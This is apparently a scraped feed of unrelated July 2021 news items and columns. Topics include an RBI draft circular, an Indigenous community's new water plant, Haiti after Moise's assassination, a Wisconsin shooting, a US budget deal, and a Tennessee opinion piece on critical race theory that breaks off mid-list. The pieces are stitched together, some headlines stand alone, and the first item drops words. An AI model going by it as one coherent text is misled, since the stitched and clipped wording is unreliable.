The Banking Regulation (Amendment) Act, 2020 came into force with effect from June 29, 2020 for Primary (Urban) Co-operative (UCBs).

In view of the changes mandated by the amendments, the has released the draft circular on 'Issue and regulation of share capital and securities - Primary (Urban) Co-operative Banks'.

It has invited comments on the draft from UCBs, sector participants and other interested parties by August 31, 2021.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
What is food waste and how it can be helped
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Baidu and ON Semiconductor Team Up With Eye on Image Sensors for Self-Driving Cars

By Ding Yi / Jul 14, 2021 06:26 PM / Business & Tech

Baidu Apollo has partnered with Phoenix-headquartered semiconductor supplier ON Semiconductor to set up a joint studio to explore image sensor solutions for autonomous driving, a move that could give it an edge in developing driverless vehicles.

The image sensor, which can be classified by resolution, frame rate, pixel size and sensor format, is considered one of the most important components of a self-driving cars vision system.

Baidu did not provide details about the configuration of image sensors it will develop with ON Semiconductor, but said that gaining access to the U.S. companys latest technology could help it provide better services to the partners of its Apollo platform.

The Chinese search giant is seeking ways to profit from its Apollo platform which provides third-party partners with access to key technologies for autonomous driving like high-definition mapping, obstacle perception and cloud simulation.

The tie-up between the two companies dates back to 2018, when ON Semiconductor announced its accession into the Apollo platform to supply a CMOS image sensor product capable of providing clear images and videos in low- and mixed-light environments.

The studios launch comes as Baidu is stepping up efforts to expand its influence in self-driving car services. At the World Artificial Intelligence Conference held in Shanghai last week, Baidu CEO Robin Li said that the company aims to expand its Apollo Go robotaxi services to 30 Chinese cities in the next two to three years.

The Beijing-based company also pins high hopes on its joint venture with Geely which is tasked with producing smart electric vehicles equipped with its own automated driving systems.

Related: Baidu Says Its Excavator Automation System Could Transform the Construction Industry

Contact reporter Ding Yi (yiding@caixin.com) and editor Heather Mowbray (heathermowbray@caixin.com)
Two state-owned firms are looking to sell off nearly 99% of the equity of Dajia, the company created to take over the assets of the scandal-plagued Chinese insurer
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Photo: Lhoosk'uz Den? Nation The new Lhoosk'uz Den? water treatment system

After decades of relying on bottled water an Indigenous community west of Quesnel now has a steady supply of clean drinking water straight from the tap.

A Lhoosk'uz Dene village of about 50 people, located 200 kilometres west of Quesnel on Kluskus Lake now has clean water thanks to a new water treatment plant crafted for their needs.

Since the early 2000s, the Lhoosk'uz Dene community (formerly known as Kluskus) has relied on untreated water from wells and streams for household needs, and on bottled water delivered year-round.

We had to do things differently. And now, what was just a dream many years ago is reality, says Chief Liliane Squinas, in a University of British Columbia (UBC) news release.

The treatment system, which was developed with the help of a team from UBC, relies primarily on ultraviolet light, paired with chlorine disinfection, to ensure clean drinking water that is free of harmful microbes.

The setup is simple enough that it can be operated, maintained and even repaired without relying heavily on specialist skills or pricey components.

Water treatment solutions for remote communities often founder for a variety of reasons, for example, the system could be complicated or too burdensome to keep running or times the solution could be simply too big for local conditions.

Lhoosk'uz Dene members were determined to get it right and to build a system that was scaled to their needs, produced good-tasting and safe drinking water, and was easy to maintain and repair.

Thats when the community invited a team from UBCs faculty of applied science and the RESEAU Centre for Mobilizing Innovation to work with them on a solution.

Were so off-grid that many people dont even know where we are. Even the nearest hospital is three hours away, says Chief Squinas. If the system breaks down, its not as simple as going to the nearest hardware store for replacement parts.

The team is led by chemical and biological engineering professor Madjid Mohseni, who had developed a community-driven and collaborative problem-solving approach known as Community Circle, and is experienced at bringing practical drinking water solutions to rural communities across Canada

In Northern B.C., the team had partnered with Tlazten Nation, as well as Indigenous Services Canada, First Nations Health Authority, and manufacturing and engineering firms to develop a treatment system to combat organic contaminants in the communitys water supply.

This helped end a 14-year boil-water advisory.

The sheer diversity of the communities involved means there is no one-size-fits-all solution, said Mohseni, in the news release.

The Lhoosk'uz Dene community is accessible only by a single logging road, with even more limited access in winter and during the spring thaw. This meant connecting to municipal water was impossible, so community members drew water from a single well.

But the water was muddy and subject to E. coli contamination.

In 2008 two new wells were drilled but they were found to contain elevated levels of iron and manganese. They were also located in a historic burial area and close to a failing septic field.

More than six million Canadians living in Indigenous and non-urban communities do not have access to reliable clean water to drink. With COVID-19 still a threat, clean water is even more of a necessity, said Mohseni.

He noted all decisions for the new water treatment system were made in close partnership with the Lhoosk'uz Dene members and grounded in understanding local issues and the community and their perspectives were at the core of the process.

Since the treatment system began operating in May, the community has monitored the water supply quality and seen excellent resultsclean, good-tasting water.

Band manager Brenda Thomas said she remembers the day the village Elders took their first drink of water from the tap.

I had glasses engraved with Too bets`huna, which in our language means We live by water, said Thomas.

As the Elders took their first sips, I had to hold back tears as the reality hit me. Wed done it, after years of waiting, after hundreds of conference calls and numerous forest fires and despite being in the middle of a pandemic. We were resilient and persevered.

Thomas adds that she hopes the success of the project will inspire other communities looking for solutions to their own long-term challenges.
Photo: The Canadian Press Authorities in Wisconsin respond to an apparent shooting at a Pilot Travel Center, with one witness describing a "sea of people" fleeing the store Tuesday, July 13, 2021 in Franksville, Wis. Police released few details except to say that there was no threat to the community and that they were also investigating at a second gas station about 2 miles away. (Diana Panuncial/The Journal Times via AP)

A man filling up his car at a Wisconsin gas station was shot and killed by another man on Tuesday, with the suspect fleeing the scene and dying soon after in a shootout with an undercover sheriff's investigator.

Racine County Sheriff Christopher Schmaling said the initial shooting happened about 7:30 a.m. at the Pilot Travel Center in the village of Caledonia. Schmaling said a 32-year-old man approached and viciously executed a 22-year-old man putting gas in his car.

Schmaling said the gunman then shot at another person driving through the Pilot parking lot  that person was unhurt  and then drove away. The sheriff said the man then approached a person who was filling up his car at a Mobil station about 2 miles (3.2 kilometers) away.

That man happened to be an undercover sheriff's investigator with 21 years of experience, Schmaling said. He said the two men exchanged gunfire, and the suspect was struck several times and killed.

The investigator was also hit and was taken to a Racine hospital, where he was conscious and alert, the sheriff said.

It should be noted, ladies and gentlemen, this is 7:30 in the morning at this Mobil station. It was bustling with activity. People getting their gas. People getting their morning cup of coffee. There is no doubt in my mind the quick, heroic actions of our investigator saved lives today, he said.

Schmaling said he had watched video of the initial shooting. Though he described the shooting as an execution, he gave no indication of what preceded the attack.

Schmaling did not provide the names of the shooter or his victims, but did say the gunman was from Hartland and the man he shot and killed was from Elkhorn.

One witness to the aftermath of the shooting at the Pilot, just off Interstate 94 about 22 miles (35 kilometers) south of Milwaukee, described a sea of people fleeing from inside the station.

A trucker who declined to give her name, citing fears for her safety, told The Associated Press she had just pulled into the Pilot to fuel up when a man ran out of the store. She said she then saw a truck ahead of her back up and make a U-turn to leave.

Then, everybody starts running out of the Pilot, it's truckers just running, sea of people, this one guy is yelling, Run! Run,' and I'm like, Oh my God," the woman said. She said she asked one of the people what was going on.

He said that somebody's in there shooting, the woman said. She said she did not witness any shooting or see anyone hurt.

In a statement, Pilot Co. spokeswoman Stephanie Myers said it's an open investigation, we are cooperating fully with local authorities. The statement went on to say that the safety and well-being" of the company's' employees and customers "is always our main concern.
Photo: The Canadian Press A tire set on fire by supporters of former Senators Youri Latortue and Steven Benoit outside the courthouse in Port-au-Prince, Monday, July 12, 2021. Prosecutors have requested that high-profile politicians like Latortue and Benoit meet officials for questioning as part of the investigation into the assassination of President Jovenel Moise. (AP Photo/Matias Delacroix)

Haitians are not only wondering who killed their president, but whos running the country: At least three men claim to be the legitimate head of government, complicating the investigation into the assassination and fueling a race to fill the political power vacuum.

Challenges are mounting against interim Prime Minister Claude Joseph, who is ruling Haiti with the backing of lean police and military forces that have long lacked resources. He has pledged to work with the opposition and allies of President Jovenel Moise, who was killed Wednesday at his private residence during an attack in which his wife, Martine, was wounded and airlifted to Miami, where she remains hospitalized.

But few are waiting for Joseph's next steps.

A coalition of main opposition parties called the Democratic and Popular Sector said Tuesday that Haiti lacks a leader: This is autopilot. This situation must not continue. The country is unfortunately witnessing a proliferation of proposals for exiting the crisis, which further complicates the task.

The coalition presented its own proposal for the creation of what it called the Independent Moral Authority, which would be made up of human rights activists, religious leaders, academics and others who would be charged with reviewing and merging all proposals.

Also on Tuesday, members of Haitis civil society are expected to unveil their own findings for a Haitian solution to the serious multidimensional crisis that is rocking our country.

Meanwhile, Ariel Henry, whom Moise designated as prime minister a day before he was killed, has said he is the rightful prime minister but has been left out of discussions with top government officials. He has the support of a group of well-known politicians considered Moise's allies who recently chose Joseph Lambert, the head of Haiti's dismantled Senate, as provisional president.

Lambert was supposed to be sworn in Sunday as a symbolic act, but the event was canceled at the last minute because he said not all his supporters could be present.

Joseph, Henry and Lambert met Sunday with a U.S. delegation that included representatives from the Department of Justice and the Department of Homeland Security who flew to Haiti to encourage dialogue "to reach a political accord that can enable the country to hold free and fair elections, the White House's National Security Council said.

White House press secretary Jen Psaki said the delegation received a request for additional assistance, but she did not provide details. She added that Haiti's request for U.S. military assistance remains under review" as she suggested that political uncertainty on the ground was a complicating factor as the administration weighs how to help.

What was clear from their trip is that there is a lack of clarity about the future of political leadership, Psaki said.

Haiti is also seeking security assistance from the United Nations, a request that deputy spokesman Farhan Haq said is being examined. The U.N. has been involved in Haiti on and off since 1990, but the last U.N. military peacekeepers left the country in 2017.

Few details of the meeting between the U.S. delegation and the three men have emerged, although Lambert said he was urged to work together with other actors whom he did not identify.

I am not looking for personal glory. We have the country first in mind, he told Radio Television Caraibes. The time has come to come together, discuss and jointly find lasting solutions to the countrys problems. We have to move forward. It is an imperative necessity."

The deepening political instability comes as Haitian authorities continue to probe the assassinations with help from Colombia's government. Twenty-six former Colombian soldiers are suspected in the killing, and 23 have been arrested, along with three Haitians. Leon Charles, head of Haiti's National Police, said five suspects are still at large and at least three have been killed.

A U.S. Drug Enforcement Administration official told The Associated Press that one of the suspects was at times a confidential source to the agency, and that the suspect reached out to his contacts at the DEA after the killing and was urged to surrender. The official said the DEA and a U.S. State Department official provided information to Haitis government that led to the surrender and arrest of one suspect and one other individual, whom it did not identify.

Haitian police also have arrested a man considered a key suspect: Christian Emmanuel Sanon, 62, a Haitian physician, church pastor and Florida businessman who once expressed a desire to lead his country in a YouTube video and has denounced the country's leaders as corrupt.

Charles said Sanon was working with those who plotted the assassination and that Moises killers were protecting him. He said officers who raided Sanon's house in Haiti found a hat with a DEA logo, 20 boxes of bullets, gun parts, four license plates from the Dominican Republic, two cars and correspondence.

But a business associate and a pastor in Florida who knew Sanon told the AP that he was religious and that they do not believe he was involved in violence. The associate, who spoke on condition of anonymity for security reasons, said he believes Sanon was duped and described him as "completely gullible.

Sanon told him he was approached by people claiming to represent the U.S. State and Justice departments who wanted to install him as president. He said the plan was only for Moise to be arrested, and Sanon would not have participated if he knew Moise would be killed.

I guarantee you that, the associate said. This was supposed to be a mission to save Haiti from hell, with support from the U.S. government.

Colombias government has said that a Florida-based enterprise, CTU Security, bought 19 plane tickets from Bogota to Santo Domingo for the Colombian suspects, who soon moved into Haiti. It also said that Dimitri Herard, head of general security at Haitis National Palace, flew to Colombia, Ecuador and Panama in the months before the assassination, and the government is investigating whether he had any role in recruiting the mercenaries.

Charles said that Sanon was in touch with CTU Security and flew to Haiti in June on a private jet accompanied by several of the alleged gunmen who were initially told their job was to protect him but were later ordered to arrest the president.

Charles said one suspect called Sanon after Moise was killed, and that Sanon got in touch with two people believed to be masterminds of the plot. He did not identify the masterminds or say if police know who they are.
Photo: Contributed

By Nick Jack Pappas

Everyone wants to be funny. It starts with memories of the grade school class clown causing fits and giggles and taking eyes and ears away from the lesson at hand. We all learned early that, when it comes to getting attention, humour is foolproof.

Thats what started me down the path of stand-up comedy, and, 10 years later, toward working at Comedywire, a startup in New York City that helps companies and individuals add humour to their messages. Studies have found that when a good line makes someone laugh, that person is three times more likely to retain the message. Funny bones are directly connected to our brains.

With speechwriting, however, being the class clown isnt always the best approach. Its not just about getting attention; its about getting the right kind of attention. In many cases, youre much closer to the teacher desperately trying to keep students interest than the class clown trying to shift their focus.

Here are three simple steps to consider as you write your next speech.

Step 1: Dont Be Funny.

Seems counterintuitive, right? But the advice I offer my clients is to avoid adding humour at all when they write their first draft.

Why? When youre giving a speech, your focus should always be on presenting a clear, concise message. Too often, speakers try to shoehorn a joke into their speech because they want their audience to laugh, but the outcome is more disjointed than complementary.

A common approach is starting the entire presentation with a joke, hoping to lighten the mood. Consider, however, that the first lines of your speech are crucial. Thats valuable real estate to give to a joke that may hit or miss. If you tell a bad joke, the entire structure of your speech could come crashing down.

Always think of humour as decoration. Your message is your foundation.

Step 2: Look for the Handles.

After your first draft is written, take a second look and find opportunities to insert jokes that augment your message. Joe Toplyn has been a head writer for former American television show hosts David Letterman and Jay Leno, and in his book Comedy Writing for Late-Night TV Toplyn talks about looking for the handles in a headline.

Handles are words you can hold onto as you look inside your speech for opportunities to add wit.

One of my clients is a neuroscience professor. He, more than many, understands the value of humour on influencing minds. The problem is, neuroscience can be quite boring. Making complex terms relatable is a skill.

For example, read this line from one of his lectures: The hypothalamus makes up less than 1 percent of brain mass, yet it is perhaps the most important 1 percent.

In this case, we grasped onto the handle 1 percent and considered what else his students might know about that reference. We added this line:

The other 99 percent of the brain was responsible for the Occupy Hypothalamus Movement a few years ago.

Referencing the 2011 Occupy Wall Street movement that started in New York City isnt the funniest line in the world, but it did get laughter from a very tough crowd of college students.

Step 3: Know Your Audience.

When it comes to writing humour, I cant think of a more important rule than knowing your audience. As you punch up your speech, consider who youll be speaking to. What age is your audience? Do they share a common profession? Are there cultural barriers or nuances to consider?

People tend to laugh most at what they can relate to. A joke about econometrics will usually fall on deaf ears, but it will get you a standing ovation in a room full of economists. Keep in mind that the only thing that makes your speech different from everyone elses is you. A common insight for stand-up comedians is that the one thing everyone in the room has in common is that theyre all staring at you. Thats why their first joke is almost always about themselves.

Always remember, if youre having fun, your audience will have fun too.

Nick Jack Pappas is a comedy writer, stand-up comedian and one of the founders of Comedywire in New York City. This column is reprinted from Toastmasters International Magazine.
Photo: The Canadian Press People pay respects to the victims of Canada's residential school system on the steps of the legislature in Victoria.

Canadians need to make sure they don't become hardened to news about unmarked graves at residential schools after what's believed to be another discovery of undocumented remains at a Vancouver Island site, an expert and former judge says.

A newsletter circulating online from the Penelakut Tribe on Vancouver Island says more than 160 unmarked and undocumented graves have been found at the former Kuper Island Industrial School site near Chemainus.

The Penelakut Tribe could not be reached for comment.

Mary Ellen Turpel-Lafond, the director of the University of British Columbia's Indian Residential School History and Dialogue Centre, said she believes Canadians want to see more done.

"I think the response has moved from shock to anger to accountability, but also understanding that this needs to be probed properly," she said.

"As this information comes out and we see the magnitude of it, we cannot get hardened to it."

What is also concerning is that the investigation of these deaths has been left to the communities involved, which can be re-traumatizing, she said.

Turpel-Lafond said 107 children, which was nearly half of the school's student population, died in 1896 when students set fire to the building after administrators cancelled Christmas holidays.

Two sisters are reported to have drowned in 1959 while trying to escape the school.

The federal government took over the administration of the school in 1969 before closing the institution in 1975.

Turpel-Lafond visited the nation when she was B.C.'s child and youth advocate, and said the community is still dealing with the hardships caused by the residential school.

"The trauma is enormous. The community has this incredible, historic burden caused by the church and Canada's residential school system," she said. "There is the living intergenerational legacy that affects the community."

There has been a series of recent discoveries using ground-penetrating radar of what are believed to be the remains of hundreds of children in unmarked graves at former residential schools.

Eric Simons, a PhD student in anthropology at the University of British Columbia, has been working with the Penelakut Tribe at the former school site.

He said in an interview Tuesday that researchers have been working off and on at the site since 2014.

The ground-penetrating radar doesn't find actual bodies but grave shafts, as well as changes in the soil, Simons said.

The school was demolished in the 1980s and Simons said that has been a challenge for both researchers and the community.

"Where it once stood is the core or centre of the main Penelakut town, so people live around that space," he said.

"That's part of the emotional and spiritual stress caused by the fact there was knowledge of missing children buried on the landscape but without knowledge, of specifically in many cases where they are."

Prime Minister Justin Trudeau told a news conference Tuesday that the findings by the Penelakut Tribe deepen the pain of Indigenous people across the country.

He said the government is committed to telling the truth about what happened at residential schools.

Premier John Horgan said he's worked to reach out to Indigenous groups to get a better understanding of what can be done to help, and the government will make resources available for affected communities.

"It would be, I think, premature for us to do anything other than to await the direction of the communities that are going through not just the grieving of the revelations of these discoveries but generational trauma," he said.

The Tk'emlups band in Kamloops, B.C., announced the discovery of potentially 215 unmarked graves at the site of the former residential school in their community in May.

The band is expected to release a report of the findings into the discovery on Thursday.
Photo: The Canadian Press Senate Minority Leader Mitch McConnell.

Senate Democrats announced late Tuesday that they'd reached a budget agreement envisioning spending an enormous $3.5 trillion over the coming decade, paving the way for their drive to pour federal resources into climate change, health care and family-service programs sought by President Joe Biden.

The accord marks a major step in the partys push to meet Bidens goal of bolstering an economy that was ravaged by the pandemic and setting it on course for long-term growth  and includes a Medicare expansion of vision, hearing and dental benefits for older Americans, a goal of progressives.

But Democrats behind the agreement face possible objections from their rival moderate and progressive factions, and will have to work hard to convert their plans into legislation they can push through the closely divided Congress over what could be unanimous Republican opposition.

We are very proud of this plan, Senate Majority Leader Chuck Schumer, D-N.Y., told reporters. We know we have a long road to go. Were going to get this done for the sake of making average Americans' lives a whole lot better.

Biden was set to attend a closed-door lunch at the Capitol on Wednesday with all Senate Democrats to lead us on to getting this wonderful plan enacted, Schumer said.

All told, the ambitious proposal reflects Bidens vision for making the most substantive potential investments in the nation in years, some say on par with the New Deal of the 1930s. Together with a slimmer, $1 trillion bipartisan effort of traditional road, highway and public works also being negotiated, they represent close to the presidents initial $4 trillion-plus effort that could reach almost every corner of the country.

The Democrats' goal is to push a budget resolution reflecting Tuesday's agreement through the House and Senate before lawmakers leave for their August recess. The resolution sets only broad spending and revenue parameters, leaving the actual funding and specific decisions about which programs are affected  and by exactly how much  for later legislation.

Nonetheless, approving a budget will be a major boon for the Democrats' effort to enact their subsequent funding bill. Thats because the budget contains language that would let Democrats move the follow-up spending measure through the 50-50 Senate with just a simple majority, not the 60 votes Republicans could demand by using a bill-killing filibuster.

The later spending legislation will likely not start moving through Congress until the fall.

Separately Tuesday, a bipartisan group of senators continued working on a third measure that would spend around $1 trillion on roads, water systems and other infrastructure projects, another Biden priority. Biden and 10 senators  five from each party  had agreed to an outline of that compromise measure last month, and bargainers have worked ever since to flesh it out.

In discussing the budget agreement, Schumer and other lawmakers did not respond when asked if they had the support of all 50 Democratic senators, which they will need to succeed. They also have virtually no margin for error in the House, where they will be able to lose no more than three Democratic votes and still prevail.

Moderates like Sens. Joe Manchin, D-W.Va., and Kyrsten Sinema, D-Ariz., might still demand further changes to reduce the plan's price tag and impact on already huge federal deficits. Progressives in both chambers might insist on beefing it up or other changes.

Sen. Bernie Sanders, I-Vt., the Budget Committee chairman, and other progressives pushed initially for a $6 trillion budget top line while party moderates insisted on a far lower price tag. Biden had proposed around $4.5 trillion.

The Democrats' announcement Tuesday left many questions about their budget accord unanswered. These included how much it would raise through tax increases on the wealthy and corporations and other revenue to pay for its costs; how much would be spent on specific programs; and how Bidens proposals would be curtailed or eliminated to fit into the legislation.

Schumer said the proposal would call for financing Bidens budget priorities in a robust way. He also said it would include a priority of Sanders and other progressives: an expansion of Medicare, the federal health insurance program for older people, to cover dental, vision and hearing services.

Sanders said the agreement would end an era in which, he said, rich people and big companies werent bearing enough of the burden of financing government programs.

Those days are gone, he said. The wealthy and large corporations are going to start paying their fair share of taxes, so that we can protect the working families of this country.
Photo: The Canadian Press/CCTV

After 24 years of heartache and searching, a Chinese couple was reunited with their son who was abducted as a toddler outside their front gate.

Guo Gangtang and his wife, Zhang Wenge, hugged their 26-year-old son with tears in their eyes Sunday at a reunion organized by police in their hometown of Liaocheng in the eastern province of Shandong, according to a video recording released by police.

The story of their reunion after Guo crisscrossed China by motorcycle searching for his son and became an activist who helped police return other missing children to their parents prompted an outpouring of public sympathy and condemnation of abductions.

Guo Xinzhen, then age 2 1/2, was grabbed by a woman and her boyfriend who took him northwest to Hebei province, which surrounds Beijing, the Chinese capital, according to police. From there, he was sold to a couple in central China.

Abductions of children for sale are reported regularly in China, though how often it happens is unclear.

The problem is aggravated by restrictions that until 2015 allowed most urban couples only one child. Boys are sold to couples who want a son to look after them in old age. Girls go to parents who want a servant or a bride for an only son.

Police experts found Guo Xinzhen in June by searching databases for images of people who looked like he might as an adult, according to a police ministry statement. His identity was confirmed by a DNA test.

The woman and her boyfriend, identified only by the surnames Tang and Hu, were caught and confessed to trafficking three boys, according to the ministry. They have yet to stand trial, but potential penalties range up to death.

Blood samples from Guo Xinzhen's parents were added to an anti-abduction DNA system, but no matches were found with boys who were believed to have been abducted, the police ministry said.

Kidnappers target children who are too young to know their names or hometowns and sometimes even that they were abducted.

So happy for Mr. Guo, said a post signed Ding Dalong on the Zhihu social media platform. He found his long-lost son and can move on with his own life.

Others called for buyers of trafficked children to be punished. There was no word on whether the couple who bought Guo Xinzhen would face penalties.

Guo Xinzhen grew up in Henan province, according to police, but no other details of his life have been reported. It isn't clear whether he knew he was abducted.

His mother, Zhang, described her despair in a 2015 television interview.

What use is it for me to live? she said. It was me who lost the child.

Guo Gangtang, now 51, started his search carrying a flag with his sons photo and details, including a scar on his left little toe.

Guo wrote on his social media account that he wore out 10 motorcycles riding through 30 of Chinas 34 provinces and regions.

Guo started a website in 2012 and a charity in 2014 to help other parents of abducted children, according to news reports.

Thank you for participating in anti-trafficking activities for 24 years and helping more than 100 children return home, the police ministry said on its social media account.
Photo: BC Gov't

Richmond residents can look forward to a decade of construction at Richmond Hospital.

On Tuesday, the province announced it will cost $860.8 million to build a new north tower, renovate the south tower and expand emergency, mental health and diagnostics services with a final completion date of 2031.

The projects original budget was about $350 million, but last summer the premier and minister of health came to Richmond to announce several hundred million dollars were being added to the budget.

Premier John Horgan said, at Tuesdays announcement, they looked at the business plan and decided to make it bigger to meet the needs of a growing population.

Health Minister Adrian Dix added the re-envisioned project was necessary, and, if the initial concept plan had been built, it probably would have immediately needed to be expanded.

Its an extraordinary amount of money, but in the context of the things that will happen here at the hospital in the next decade, its absolutely affordable and its whats needed, Dix said.

Richmond Hospital was built in 1964 and Horgan said it is decades beyond its best-before date.

Extensive consultation was done with hospital staff and the Richmond Hospital Foundation to make the design function for those working in the building, Horgan added, and he touted the design of the plans, saying it shouldnt be made of duct tape and bailing twine.

This is a state-of-the-art facility that will be having professionals providing services to people, Horgan said.

The new facility will be 100 per cent carbon neutral.

We have to make sure, as we build our communities for the future, were doing that with climate change in mind and this project does that, Horgan said.
Photo: The Canadian Press Conservative MP Michael Barrett arrives to a caucus meeting in Ottawa on Wednesday, June 23, 2021. THE CANADIAN PRESS/Sean Kilpatrick

The federal ethics watchdog is reviewing a request to investigate Prime Minister Justin Trudeau over payments his MPs offices made to a company owned by his friend.

Conservative MP Michael Barrett wrote to ethics commissioner Mario Dion asking he launch an inquiry into the prime minister's possible involvement in awarding contracts to Data Sciences Inc.

The company was founded by Tom Pitfield, a childhood friend of Trudeau's, who served as the Liberal party's chief digital strategist during the 2015 and 2019 election campaigns.

The Globe and Mail reported last month that MPs expenditure reports showed most of the Liberal caucus had paid money through their office budgets to the company, which has also been hired to provide digital services to the Liberal Party of Canada.

Trudeau has said caucus members use Data Sciences for their constituency work and he and the party both say there is a complete separation between political and parliamentary business.

In his letter to Dion, which Barrett shared on social media,he asked the commissioner to investigate Trudeau's role in the contracts to see if he violated the conflict of interest code for members of Parliament.

He requested the watchdog probe the section where MPs are prohibited from acting in such a way that furthers the interests of family members or another person or entity.

A request for comment from the Prime Minister's Office was not immediately returned.

Dion replied in his own letter Wednesdaythat the criteria for making such a request has been met, and he has forwarded it on to the prime minister.

A parliamentary committee recently debated whether to launch its own investigation into the matter, but nothing was decided after meeting for five hours.

During that time, Liberal MP and committee vice-chair Brenda Shanahan, told members her office uses the Montreal-based company for technical support in both French and English.

She also panned the Conservatives' attempts to hear testimony from Pitfield and learn more details about what work the company does for MPs as a "fake scandal."
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ADY Express starts exporting cement to Georgia

14 July 2021

ADY Express LLC, a subsidiary of Azerbaijan Railways, has started transporting cement produced by Holcim Azerbaijan OJSC to Georgia by rail.

The cargo is loaded on semi-wagons provided by ADY Express LLC at the Garadagh station and delivered to the Caspi station in Georgia. The return journey is generally carried out in 6-7 days.

ADY Express has allocated 50 wagons for the transportation of these goods, which are planned to be carried out four times a month. The company plans to export 15,000t of cement to Georgia per month.

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One of Chattanooga's largest homeless camps has sprouted up in an unhealthy Chattanooga Creek floodway near the Rossville, Ga., line.

Robert Gustafson, who has a fulltime mission to local homeless, estimates that up to 60 homeless individuals are in two large camps and four or five smaller ones along a wooded section of Workman Road.

The location is just beyond a railroad spur from the now-closed Southern Honda Powersports. That business, that was formerly operated by now mayor Tim Kelly, has moved to East Ridge.

Mr. Gustafson said the camp developed over the past several months after a camp closer to Rossville Boulevard was shut down by Walter A. Wood Supply and a homeless group was told to leave a camp behind an ice business on South Broad Street. "Some have come up from North Georgia as well," Mr. Gustafson said.

Tracy Rico, who operates the nearby Rico Monuments on Rossville Boulevard, said he has been watching the camp spread out with tents and makeshift shelters. "It's quite a sight to behold," he said.

He said some of the homeless make their way to Rossville Boulevard - especially in the evenings. He said, "I was told that some of them have been getting water from our faucet. Our water bill hasn't changed so I've no problem with that." He said he sympathizes with the plight of those living in the squalid conditions.

Mr. Rico said the long stretch of wetland woods has long been occupied by a few homeless. He said one couple told him they had lived there for over 15 years.

Elizabeth Wells, economic development consultant for Rossville, said she has noticed a rise in the homeless in that vicinity.

She said the city of Rossville "has virtually no resources to deal with the issue." She said Rossville should join with Chattanooga is seeking solutions, while calling on state resources.

State Rep. Mike Cameron said he has watched as the camp has grown, and he has tried to provide some help personally. He said he found out that Shannon Fuller of Zarzours Restaurant on Rossville Avenue near Main Street was raising supplies for the camp that would be delivered by Mr. Gustafson.

He said he went out and bought some items listed by Ms. Fuller and took them to Mr. Gustafson.

Mr. Gustafson said the Workman Road camp still may be eclipsed by "Tent City" that is on E. 11th Street just down from City Hall.

He said the Tent City residents have access to three meals a day and healthcare at the nearby Community Kitchen, while Workman Road residents are much more isolated from help.

Yet, he said some in the Workman Road group would rather be away "from all the craziness that goes on" at Tent City and the nearby area.
Missing person John Gregory has been found deceased on his property at his home in East Lake. Authorities said there was no sign of foul play.

Family members said they had last seen the 58-year-old Gregory on June 30.

Police said, "As part of the ongoing investigation into John Gregory's disappearance, CPD Missing Persons Investigators returned to Mr. Gregory's property on Monday. While conducting a search of the property, an adult male's body fitting Mr. Gregory's physical description was located.

"The Hamilton County Medical Examiner's Office was contacted and transported the body to their facility. On Tuesday, the medical examiner's office positively identified the deceased male as John Gregory. There were no obvious signs of foul play or trauma to Mr. Gregory. Cause of death is to be determined pending results from the Hamilton County Medical Examiner's Office."
Chattanooga Police Special Victims Unit has charged a second female involving sexual wrongdoing that includes a juvenile victim at a migrant children facility in Highland Park.

CPD has charged Florencia Guadalupe Renderos Morales, 22, with one count of sexual battery by an authority figure.

She is in custody in Harris County, Tex., and will be extradited to Hamilton County at a later date yet to be determined.

Police said the victim in this case is not the same victim identified in the case of previously charged suspect Randi Duarte.

The Tennessee Department of Children's Services (DCS) earlier suspended the Baptiste Group's license to operate the facility located at 1914 Vance Ave. The Baptiste Group appealed the suspension at a closed hearing and is awaiting a decision from the judge.

The Chattanooga Police Department "thanks our partners, the Department of Health and Human Services, Department of Homeland Security Investigations, and Harris County Sheriff's Office, for their assistance in this ongoing investigation."


There are 21 teachers in Tennessee who are among reportedly over 5,000 who have  albeit unwisely in my view  signed a petition stating they will most certainly teach the controversial Critical Race Theory (CRT). These teachers say they will defy state laws, edicts from school districts, and all else to speak what they believe to be the truth.

According to the respected online news website Tennesseestar.com, of the 21 from Tennessee, three are from the Chattanooga area  Lydia Dodd, Lydia Rose, and Allison Aubrey  according to the Tennessee Star, and a fourth  Shara Troutner is from Cleveland, Tn., and teaches at North Murray High School in Georgia.

Yes, CRT was banned by the Tennessee Legislature in May and at least 21 other states are considering similar legislation that the petition claims would require teachers to lie to students about the role of racism, sexism, heterosexism, and oppression throughout U.S. history.

The petition also reads, From police violence, to the prison system, to the wealth gap, to maternal mortality rates, to housing, to education and beyond, the major institutions and systems of our country are deeply infected with anti-Blackness and its intersection with other forms of oppression, it continues.

To not acknowledge this and help students understand the roots of U.S. racism is to deceive them  not educate them. This history helps students understand the roots of inequality today and gives them the tools to shape a just future. It is not just a history of oppression, but also a history of how people have organized and created coalitions across race, class, and gender.

Signee Lydia Dodd, who teaches at the United Christian Academy, commented as she signed the petition, It is my responsibility to lead my students in meaningful conversations about the way the world works and how we should interact in it, she said.

This law restricts me of that responsibility, she wrote, and even threatens me to shy away from topics related to race, which my students deal with on a daily basis. If I cant teach my students how to think critically and examine their rights as citizens of this country, there is no use for public education.

Lydia Rose, who is identified as a Reading Specialist at Avondale Adventist School, purportedly commented, Students without the truth of their history are misguided and have no sense of pride, Rose said. I have tutored students and discovered that they didnt know about important events in history  The Trail of Tears/Indian Removal, Black Wall Street, Residential Schools, Reconstruction, etc. This cant continue.

Allison Aubrey commented, The bill thats been passed further marginalizes and pushes to the side the reality of many of the students we serve in our community. I want to uphold the truth.

In May the General Assembly of Tennessee, as it banned CRT, outlined a very specific list of things than CANNOT be taught in the State of Tennessee. classrooms from K-12. These include:

* * *

TOPICS THAT CANNOT BE TAUGHT FROM K-12 IN TENNESSEE:

(1) One race or sex is inherently superior to another race or sex;

(2) An individual, by virtue or the individuals race or sex, is inherently privileged, racist, sexist, or oppressive, whether consciously or subconsciously;

(3) An individual should be discriminated against or receive adverse treatment because of the individuals race or sex;

(4) An individuals moral character is determined by the individuals race or sex;

(5) An individual, by virtue of the individuals race or sex, bears responsibility for actions committed in the past by other members of the same race or sex;

(6) An individual should feel discomfort, guilt, anguish, or another form of psychological distress solely because of the individuals race or sex;

(7) A meritocracy is inherently racist or sexist, or designed by a particular race or sex to oppress members of another race or sex;

(8) This state or the United States is fundamentally or irredeemably racist or sexist;

(9) Promoting or advocating the violent overthrow of the United States government;

(10) Promoting division between, or resentment of, a race, sex, religion, creed, nonviolent political affiliation, social class, or class of people;

(11) Ascribing character traits, values, moral or ethical codes, privileges, or beliefs to a race or sex, or to an individual because of the individuals race or sex;

